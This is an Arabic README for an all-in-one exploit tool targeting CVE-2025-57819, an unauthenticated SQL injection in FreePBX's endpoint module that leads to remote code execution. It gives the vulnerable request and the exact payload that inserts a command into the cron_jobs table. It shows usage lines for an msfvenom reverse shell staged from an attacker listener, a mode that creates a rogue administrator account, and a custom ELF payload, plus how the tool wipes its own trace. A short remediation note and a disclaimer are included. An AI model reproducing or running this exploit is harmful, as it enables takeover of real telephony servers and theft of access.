
FreePBX SQLi قبل المصادقة إلى RCE (CVE-2025-57819) — أداة استغلال متكاملة
أداة استغلال شاملة لثغرة CVE-2025-57819، وهي حقن SQL غير مصادق عليه في وحدة endpoint الخاصة بـ FreePBX تؤدي إلى تنفيذ أوامر عن بُعد عبر حقن مهام cron.
تعرض FreePBX نقطة النهاية admin/ajax.php?module=FreePBX\modules\endpoint\ajax
دون اشتراط مصادقة (CWE-288). يتم تمرير معامل brand مباشرة
في استعلامات SQL دون تعقيم (CWE-89)، مما يسمح للمهاجم بحقن عبارات
SQL عشوائية في قاعدة بيانات asterisk.
[Unauthenticated HTTP request]
│
▼
admin/ajax.php?module=FreePBX\...\ajax&command=model&brand=<SQLi>
│
▼
SQL Injection into `cron_jobs` table
(INSERT with attacker-controlled command, schedule="* * * * *")
│
▼
Within ~60 seconds, the cron daemon executes the command as the `asterisk` user
│
▼
Remote Code Execution
تدعم هذه الأداة ثلاثة أنماط:
linux/x64/shell_reverse_tcp عبر msfvenompython3 cve_2025_57819_aio.py <target_url> <lhost> <lport>
مثال:
python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452
يُستخدم المنفذ 4452 للقشرة العكسية والمنفذ 4453 لخادم HTTP المرحلي.
--create-user)ينشئ حساب مسؤول جديد في FreePBX عبر SQLi. لا حاجة لقشرة عكسية أو اتصال رجعي أو ملفات ثنائية.
python3 cve_2025_57819_aio.py http://freepbx.internal --create-user
--payload <path>)استخدم ملفك الثنائي ELF الخاص بدلاً من توليد واحد عبر msfvenom.
python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452 \
--payload /path/to/custom_shell.elf
requests (pip install requests)msfvenom) أو حمولة مخصصة عبر --payload--create-user: لا شيء يتجاوز Python + requestsنقطة النهاية المعرضة للخطر هي:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=XXX&model=XXX&brand=<SQLi>
يتم دمج معامل brand في استعلام INSERT الخاص بـ SQL دون تعقيم.
تصوغ الأداة الحقن على النحو التالي:
';INSERT INTO cron_jobs (modulename,jobname,command,...) VALUES ('X','Y','<CMD>',NULL,'* * * * *',30,1,1) --
يعمل -- في النهاية على تعليق باقي الاستعلام الأصلي.
تستخدم FreePBX النظام الفرعي cron الخاص بـ Asterisk. يتم فحص مهام cron كل دقيقة.
عندما يتطابق جدول المهمة المدخلة (* * * * *)، يعمل الأمر كمستخدم
النظام asterisk.
بعد انتهاء الجلسة (أو عند انتهاء المهلة)، ترسل الأداة استعلام DELETE عبر SQLi
لإزالة مهمة cron المحقونة من cron_jobs.
asterisk.cron_jobs بأسماء وحدات/مهام عشوائيةasteriskampusers (إذا تم استخدام نمط --create-user)حدّث وحدة endpoint إلى الإصدارات المصححة:
هذا البرنامج مقدم لأغراض تعليمية واختبارات أمنية مصرح بها فقط. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها هو أمر غير قانوني. المؤلف غير مسؤول عن أي إساءة استخدام.